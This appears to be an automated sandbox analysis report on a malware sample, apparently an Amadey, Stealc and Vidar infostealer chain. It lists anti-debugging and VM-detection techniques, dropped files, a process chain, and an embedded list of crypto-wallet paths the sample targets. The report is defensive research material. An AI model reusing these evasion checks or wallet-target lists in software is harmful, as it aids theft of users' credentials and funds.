Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9F4A24 second address: 9F4A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F64E0CE9AB0h 0x00000008 jmp 00007F64E0CE9AABh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 js 00007F64E0CE9ADCh 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DB4FD second address: 9DB507 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F64E0F64676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DB5D4 second address: 9DB5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007F64E0CE9AB8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DB5E5 second address: 9DB5E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DD6B3 second address: 9DD750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F64E0CE9AACh 0x0000000a popad 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D322Ch] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr [ebp+122D2FF5h], eax 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F64E0CE9AA8h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 pushad 0x00000041 mov dword ptr [ebp+122D35BDh], ecx 0x00000047 popad 0x00000048 mov eax, dword ptr [ebp+122D04D1h] 0x0000004e and bh, FFFFFFB6h 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push ebx 0x00000056 call 00007F64E0CE9AA8h 0x0000005b pop ebx 0x0000005c mov dword ptr [esp+04h], ebx 0x00000060 add dword ptr [esp+04h], 00000017h 0x00000068 inc ebx 0x00000069 push ebx 0x0000006a ret 0x0000006b pop ebx 0x0000006c ret 0x0000006d movsx ebx, si 0x00000070 add edi, 559CBDD7h 0x00000076 mov dword ptr [ebp+12470997h], ecx 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f js 00007F64E0CE9AACh 0x00000085 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9DD750 second address: 9DD75A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F64E0F64676h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 25FAA2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 25F97D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3FEDE0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 484899 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Special instruction interceptor: First address: 81EB64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ABEB64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Special instruction interceptor: First address: FBBAF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Special instruction interceptor: First address: FBBA3C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Special instruction interceptor: First address: 11705E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Special instruction interceptor: First address: FB918E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Special instruction interceptor: First address: 1198D53 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJEGDGIIJJE.exe

Code function: 21_2_051A0E60 rdtsc

21_2_051A0E60

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1007015001\661a734a92.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 4420	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3280	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4992	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6492	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3640	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1472	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 972	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8332	Thread sleep count: 73 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8332	Thread sleep time: -2190000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8332	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsJEGDGIIJJE.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAAC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CAAC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000018.00000002.3493795791.0000000000C47000.00000040.00000001.01000000.0000000E.sdmp, 11d5b5931e.exe, 11d5b5931e.exe, 0000001A.00000002.3493298192.000000000114F000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2715412771.0000000000F03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: skotes.exe, 00000018.00000002.3492180226.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2715412771.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3492180226.0000000000778000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3492180226.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 11d5b5931e.exe, 0000001A.00000002.3496454882.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2745469454.00000000230F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}s+
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2745469454.00000000230F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2715412771.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2715412771.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware!T1
Source: file.exe, 00000000.00000002.2714277439.00000000003E1000.00000040.00000001.01000000.00000003.sdmp, DocumentsJEGDGIIJJE.exe, 00000015.00000002.2799614310.00000000009A7000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2837489432.0000000000C47000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.3493795791.0000000000C47000.00000040.00000001.01000000.0000000E.sdmp, 11d5b5931e.exe, 0000001A.00000002.3493298192.000000000114F000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_04B80176 Start: 04B801CB End: 04B801D1

24_2_04B80176

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJEGDGIIJJE.exe

Code function: 21_2_051A0E60 rdtsc

21_2_051A0E60

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAF5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CAF5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA93480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A8652B mov eax, dword ptr fs:[00000030h]		24_2_00A8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00A8A302 mov eax, dword ptr fs:[00000030h]		24_2_00A8A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CACB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CACB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2496, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEGDGIIJJE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEGDGIIJJE.exe "C:\Users\user\DocumentsJEGDGIIJJE.exe"
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe "C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe"

Source: file.exe, file.exe, 00000000.00000002.2714277439.00000000003E1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: pProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CACB341 cpuid

0_2_6CACB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA935A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA935A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_00A565E0 LookupAccountNameA,

24_2_00A565E0

Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 24.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DocumentsJEGDGIIJJE.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2836667286.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.3274019137.0000000004990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2799466109.00000000007B1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3493419830.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2796170814.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2712594211.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2713835839.0000000000011000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2715412771.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2249922371.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2496, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2496, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
